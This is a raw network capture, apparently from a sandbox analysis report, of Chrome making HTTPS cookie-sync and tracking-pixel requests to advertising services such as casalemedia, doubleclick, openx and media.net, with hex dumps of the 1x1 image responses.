2024-01-10 23:27:28 UTC	391	IN	HTTP/1.1 302 Found Date: Wed, 10 Jan 2024 23:27:28 GMT Location: https://io.narrative.io/?io.narrative.guid.v2=d1fd71f0-b00f-11ee-b039-16c962239a11&companyId=673&id=pubmatic_id:AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4 Server: nginx/1.22.1 Set-Cookie: io.narrative.guid.v2=d1fd71f0-b00f-11ee-b039-16c962239a11; Max-Age=47278080; SameSite=None; Secure Content-Length: 0 Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
645	192.168.2.4	50480	104.18.36.155	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:28 UTC	461	OUT	GET /crum?cm_dsp_id=57&external_user_id=968062845637553879 HTTP/1.1 Host: dsum-sec.casalemedia.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: CMID=ZZ8n1IPpYMLwQL-F1CLawgAA; CMPS=253; CMPRO=253
2024-01-10 23:27:29 UTC	981	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:27:28 GMT Content-Type: image/gif Content-Length: 43 Connection: close CF-Ray: 8438b0de0fc8084b-IAD CF-Cache-Status: DYNAMIC Cache-Control: no-cache Expires: 0 Set-Cookie: CMID=ZZ8n1IPpYMLwQL-F1CLawgAA; Path=/; Domain=casalemedia.com; Expires=Thu, 09 Jan 2025 23:27:28 GMT; Max-Age=31536000; Secure; SameSite=None P3p: policyref="/w3c/p3p.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Pragma: no-cache Set-Cookie: CMPRO=253; Path=/; Domain=casalemedia.com; Expires=Tue, 09 Apr 2024 23:27:28 GMT; Max-Age=7776000; Secure; SameSite=None Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=sEGIvXNRZuAv3dUwvehcyTWCdIytgmlNILqwEtPgHA3bGBQYXZ%2FsMAT6UMSSArmx3BevtphsOy1zYVEMAPqA40Pc%2FoWCZByBb3XzsZEHR20ySJG6zWJVxX6CFDns09T3oxE0Acv5Y8KGFw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-01-10 23:27:29 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
646	192.168.2.4	50475	23.55.243.208	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:28 UTC	1231	OUT	GET /cksync.php?cs=1&type=apx&ovsid=7367141199740274687&axid_e= HTTP/1.1 Host: hb.yahoo.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308310180275000V10; data-mn=3479308330180239000V10~~1; usp_status=1; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-zta=968062845637553879~~63; data-son=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~1; data-tlt=3631141743957125218505~~1; data-opx=50996944-41eb-0a14-2f16-7629f8e9c8fd~~1; data-idx=ZZ8n1IPpYMLwQL_F1CLawgAAAP0AAAIB~~1; data-ayl=80df0390ac1a08301112e6851cc561f4~~1; data-sov=H-G_bLZHIhhIpR6ZTj2OFYm3~~1; data-dtm=AAACWBRgpry45AN_rYmFAAAAAAA~~1; data-apx=7367141199740274687~~1; data-pub=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4~~1; data-ctn=3eb4f1d28af642b8a97d60a85e0f7108~~1; data-ylm=VEeMJ__OOM_smh2PNiGG~~1; data-gum=u_0388cd6c-8293-4db4-818a-ce9c7e7530d0~~1; data-sht=316bb570-8374-4683-a0e9-a8b41619214a~~63; data-rhs=WGFTyzcQKewjN8Wy6aUUAIQzRC-OwVzzVQwF9T4mHD8~~63; data-mag=LR8EUG12-1F-5JG4~~63
2024-01-10 23:27:29 UTC	662	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-apx=7367141199740274687~~1;Expires=Mon, 08 Apr 2024 23:27:28 GMT;path=/;domain=.hb.yahoo.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=86400 ; includeSubDomains Strict-Transport-Security: max-age=604800 x-mnet-hl2: E Expires: Wed, 10 Jan 2024 23:27:28 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:28 GMT Connection: close
2024-01-10 23:27:29 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-01-10 23:27:29 UTC	14	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
647	192.168.2.4	50491	23.55.243.208	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:28 UTC	1331	OUT	GET /cksync.php?cs=1&vsid=3479308310180275000V10&type=ctn&refUrl=&vid=49292349683479308310180275000V10&ovsid=3eb4f1d28af642b8a97d60a85e0f7108&axid_e=&y=null&gdpr=0 HTTP/1.1 Host: hb.yahoo.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308310180275000V10; data-mn=3479308330180239000V10~~1; usp_status=1; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-zta=968062845637553879~~63; data-son=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~1; data-tlt=3631141743957125218505~~1; data-opx=50996944-41eb-0a14-2f16-7629f8e9c8fd~~1; data-idx=ZZ8n1IPpYMLwQL_F1CLawgAAAP0AAAIB~~1; data-ayl=80df0390ac1a08301112e6851cc561f4~~1; data-sov=H-G_bLZHIhhIpR6ZTj2OFYm3~~1; data-dtm=AAACWBRgpry45AN_rYmFAAAAAAA~~1; data-apx=7367141199740274687~~1; data-pub=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4~~1; data-ctn=3eb4f1d28af642b8a97d60a85e0f7108~~1; data-ylm=VEeMJ__OOM_smh2PNiGG~~1; data-gum=u_0388cd6c-8293-4db4-818a-ce9c7e7530d0~~1; data-sht=316bb570-8374-4683-a0e9-a8b41619214a~~63; data-rhs=WGFTyzcQKewjN8Wy6aUUAIQzRC-OwVzzVQwF9T4mHD8~~63; data-mag=LR8EUG12-1F-5JG4~~63
2024-01-10 23:27:29 UTC	675	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-ctn=3eb4f1d28af642b8a97d60a85e0f7108~~1;Expires=Mon, 08 Jul 2024 23:27:29 GMT;path=/;domain=.hb.yahoo.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=86400 ; includeSubDomains Strict-Transport-Security: max-age=604800 x-mnet-hl2: E Expires: Wed, 10 Jan 2024 23:27:29 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:29 GMT Connection: close
2024-01-10 23:27:29 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-01-10 23:27:29 UTC	14	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
648	192.168.2.4	50504	172.253.62.157	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:28 UTC	595	OUT	GET /pixel?google_nid=baidu_mediago&google_hm=22210ca7d904fe7322qnsv00lr8eukx3 HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUlCDusljJC9zb3Oa9XYbfCQkZ3JL7YH2g9T3_iu5VLlNxCSCmx5LU9S1K3N4lo
2024-01-10 23:27:29 UTC	374	IN	HTTP/1.1 200 OK Content-Type: image/png Date: Wed, 10 Jan 2024 23:27:29 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Server: HTTP server (unknown) Content-Length: 170 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-10 23:27:29 UTC	170	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 06 00 00 00 1f 15 c4 89 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 07 74 49 4d 45 07 d7 05 1d 0d 0d 2d 51 d5 37 6e 00 00 00 1d 74 45 58 74 43 6f 6d 6d 65 6e 74 00 43 72 65 61 74 65 64 20 77 69 74 68 20 54 68 65 20 47 49 4d 50 ef 64 25 6e 00 00 00 0d 49 44 41 54 08 d7 63 a8 69 79 e5 00 00 05 95 02 2b 03 a2 de f7 00 00 00 00 49 45 4e 44 ae 42 60 82 0a Data Ascii: PNGIHDRbKGDpHYstIME-Q7ntEXtCommentCreated with The GIMPd%nIDATciy+IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
649	192.168.2.4	50479	104.18.36.155	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:28 UTC	475	OUT	GET /crum?cm_dsp_id=90&external_user_id=A342B32A0BAA4852AA53FE42CB7195F6 HTTP/1.1 Host: dsum-sec.casalemedia.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: CMID=ZZ8n1IPpYMLwQL-F1CLawgAA; CMPS=253; CMPRO=253
2024-01-10 23:27:29 UTC	985	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:27:29 GMT Content-Type: image/gif Content-Length: 43 Connection: close CF-Ray: 8438b0de487a584e-IAD CF-Cache-Status: DYNAMIC Cache-Control: no-cache Expires: 0 Set-Cookie: CMID=ZZ8n1IPpYMLwQL-F1CLawgAA; Path=/; Domain=casalemedia.com; Expires=Thu, 09 Jan 2025 23:27:29 GMT; Max-Age=31536000; Secure; SameSite=None P3p: policyref="/w3c/p3p.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Pragma: no-cache Set-Cookie: CMPRO=253; Path=/; Domain=casalemedia.com; Expires=Tue, 09 Apr 2024 23:27:29 GMT; Max-Age=7776000; Secure; SameSite=None Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Or4ozMdNIa1GUeEDwa3ANG1hAVeuu7ML1RVVJWvWH7Jei4lWzskhGbTJmn3lMQYwOUcDt0wbxfE%2FVw%2B9cFXdoJ7Q3eadffQkJGETi5GgfWtae0IZAy9%2FsCFM4qHSNDllli4iToWZyV%2BlYQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-01-10 23:27:29 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
650	192.168.2.4	50482	104.18.36.155	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:29 UTC	460	OUT	GET /rum?cm_dsp_id=4&external_user_id=7302204774592217984 HTTP/1.1 Host: dsum-sec.casalemedia.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: CMID=ZZ8n1IPpYMLwQL-F1CLawgAA; CMPS=253; CMPRO=253
2024-01-10 23:27:29 UTC	999	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:27:29 GMT Content-Type: image/gif Content-Length: 43 Connection: close CF-Ray: 8438b0de9b0b3b3c-IAD CF-Cache-Status: DYNAMIC Cache-Control: no-cache Expires: 0 Set-Cookie: CMID=ZZ8n1IPpYMLwQL-F1CLawgAA; Path=/; Domain=casalemedia.com; Expires=Thu, 09 Jan 2025 23:27:29 GMT; Max-Age=31536000; Secure; SameSite=None P3p: policyref="/w3c/p3p.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Pragma: no-cache Set-Cookie: CMPRO=253; Path=/; Domain=casalemedia.com; Expires=Tue, 09 Apr 2024 23:27:29 GMT; Max-Age=7776000; Secure; SameSite=None Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=7WyxNW%2F4iGJ4QXRt%2BNYzpGoIhvz%2B6Sd%2FrZOcHX1DZD%2BPn1Qwx%2BX3g93T2fkheqEPqKVKLxC4xwk1NjdukPB6syjoi%2FNUkWlPO2ddKivN39CkkTjog%2B%2FBPq7%2BhGmxfZg%2Bs0JeY4kQ6XBUog%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-01-10 23:27:29 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
651	192.168.2.4	50485	104.18.36.155	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:29 UTC	521	OUT	GET /rum?cm_dsp_id=39&external_user_id=bd6a219c-2538-477b-90ee-6d20c7860c4b&expiration=1707521239&gdpr=0&gdpr_consent= HTTP/1.1 Host: dsum-sec.casalemedia.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: CMID=ZZ8n1IPpYMLwQL-F1CLawgAA; CMPS=253; CMPRO=253
2024-01-10 23:27:29 UTC	981	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:27:29 GMT Content-Type: image/gif Content-Length: 43 Connection: close CF-Ray: 8438b0deab0281c3-IAD CF-Cache-Status: DYNAMIC Cache-Control: no-cache Expires: 0 Set-Cookie: CMID=ZZ8n1IPpYMLwQL-F1CLawgAA; Path=/; Domain=casalemedia.com; Expires=Thu, 09 Jan 2025 23:27:29 GMT; Max-Age=31536000; Secure; SameSite=None P3p: policyref="/w3c/p3p.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Pragma: no-cache Set-Cookie: CMPRO=253; Path=/; Domain=casalemedia.com; Expires=Tue, 09 Apr 2024 23:27:29 GMT; Max-Age=7776000; Secure; SameSite=None Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=wYzBBlbdA8tN0OGf4MSOD36U0hHUK5nEQ1J8T1XvqaM49FKdIKklj4Gn6Bto%2BljJNERTdHRtPj3KH1Vpmy0gIvTfD3uKxDtrS6dAJwKh6B94AW%2BIAMOZv6LO2RTNrgE0St4sgTEhhtYPHw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-01-10 23:27:29 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
652	192.168.2.4	50500	35.244.159.8	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:29 UTC	480	OUT	GET /w/1.0/sd?id=540245193&val=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&gdpr=0&gdpr_consent= HTTP/1.1 Host: us-u.openx.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: i=adf1d594-3006-0faa-26e7-7fcb0b6d0f69\|1704929237
2024-01-10 23:27:29 UTC	366	IN	HTTP/1.1 200 OK Vary: Accept Server: OXGW/0.0.0 Pragma: no-cache P3P: CP="CUR ADM OUR NOR STA NID" Expires: Mon, 26 Jul 1997 05:00:00 GMT Date: Wed, 10 Jan 2024 23:27:29 GMT Content-Type: image/gif Content-Length: 43 Cache-Control: private, max-age=0, no-cache Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-10 23:27:29 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 00 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
653	192.168.2.4	50488	23.33.180.25	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:29 UTC	1110	OUT	GET /cksync.php?type=rbcn&ovsid=LR8EUG12-1F-5JG4&gdpr=0&gdpr_consent=undefined&us_privacy=1YNN HTTP/1.1 Host: contextual.media.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308330180239000V10; usp_status=1; data-rk=968062845637553879~~8; data-g=CAESEE-LbdqTsHKcksq6UKuBoDI~~8; data-so=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~8; data-c=94a96463-4da4-468a-ab35-7f2fcadb375f~~1; data-mf=20ed5203-3644-4449-ae7b-5e053499d8b1~~1; data-xu=Rw6Yt2Jl1RnHYF5~~8; data-co=AAAHl1xS8mtEBQMjNkpRAAAAAAA~~8; data-ze=v79p4FQcaoSFEzqKnYP-~~1; data-c-ts=1704929240; data-o=b6718352-3281-0abd-1f7e-c94ddda5ae48~~8; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-r=LR8EUG12-1F-5JG4~~1; data-r1=RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005~~8; data-pba=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4~~8; data-bs=f6435827-796b-4521-81e9-11e581628f69~~1
2024-01-10 23:27:29 UTC	624	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-r=LR8EUG12-1F-5JG4~~1;Expires=Mon, 08 Jul 2024 23:27:29 GMT;path=/;domain=.media.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=31536000 Alt-Svc: h3=":443"; ma=93600 x-mnet-hl2: E Expires: Wed, 10 Jan 2024 23:27:29 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:29 GMT Connection: close
2024-01-10 23:27:29 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-01-10 23:27:29 UTC	14	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
654	192.168.2.4	50492	52.46.155.104	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:29 UTC	479	OUT	GET /ecm3?id=LR8EUG12-1F-5JG4&ex=d-rubiconproject.com&status=ok&gdpr=0&us_privacy=1YNN HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=AyjwvOXOUEBhiwCbt7I0SGw; ad-privacy=0
2024-01-10 23:27:29 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Wed, 10 Jan 2024 23:27:29 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: 7P3TBBEN1XGYWVCXPE1W Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-01-10 23:27:29 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
655	192.168.2.4	50487	172.253.122.156	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:29 UTC	1174	OUT	GET /pcs/view?xai=AKAOjstC7FFNq17MEgQMfFzd_RebfWSNOrQijnPR4lMn43YibpJ9iOiymXyfKZdVwI8QG17IMIM1Ri0MdF1GfE-Z9iStaqvo2K9wD7v06wu6tJBPcbgVD4kk16p1zdu9Rr3Bvil2mDcRRzQvej0wj87ROBBM6vyO4pIbuYLITIbZILIm1_-we4n2r9DCs11BHOVjVGD0hVSfQv1q0k4jCYN0v_xlM9IUAgv3dEXxZe_nUgJ9OCj4RxN1MaxIk_YKPRPH-PDdpZJG3KtzOBCS2YNL5NRTxG7lDZwIhKCulUvhpBM_muFwX9BBp687wNNBGbIgl3M9IVK449a-9oOCjepDdtfJmSe3QODOg2bNKHKJ-0uyDA1wTD4b8itlfn9GBDHxtUrB3eDtCiWCnEgj94xirjdEeRxB&sai=AMfl-YQXVJXNrhpYksnFh-Js-YU8o0SKOby1CLYBkAI0ieZ4fJdbkX7bXBX1j10NkWAKHUCa2Gfe6SGe2rzCpULlvuyAhKygmlxHbVEhL89Bo3oBDnmhnMTQbdkj3X2NU3ZJL9xzvjeCw3MNY36CzzcLYTk&sig=Cg0ArKJSzNmJcgta_6T6EAE&uach_m=%5BUACH%5D&adurl= HTTP/1.1 Host: securepubads.g.doubleclick.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUlCDusljJC9zb3Oa9XYbfCQkZ3JL7YH2g9T3_iu5VLlNxCSCmx5LU9S1K3N4lo
2024-01-10 23:27:29 UTC	792	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-WoW64 Cache-Control: private Access-Control-Allow-Origin: * Content-Type: image/gif X-Content-Type-Options: nosniff Date: Wed, 10 Jan 2024 23:27:29 GMT Server: cafe Content-Length: 0 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
656	192.168.2.4	50481	104.18.36.155	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:29 UTC	481	OUT	GET /rum?cm_dsp_id=88&external_user_id=ZZ8n1gANku5CxgBU&_test=ZZ8n1gANku5CxgBU HTTP/1.1 Host: dsum-sec.casalemedia.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: CMID=ZZ8n1IPpYMLwQL-F1CLawgAA; CMPS=253; CMPRO=253
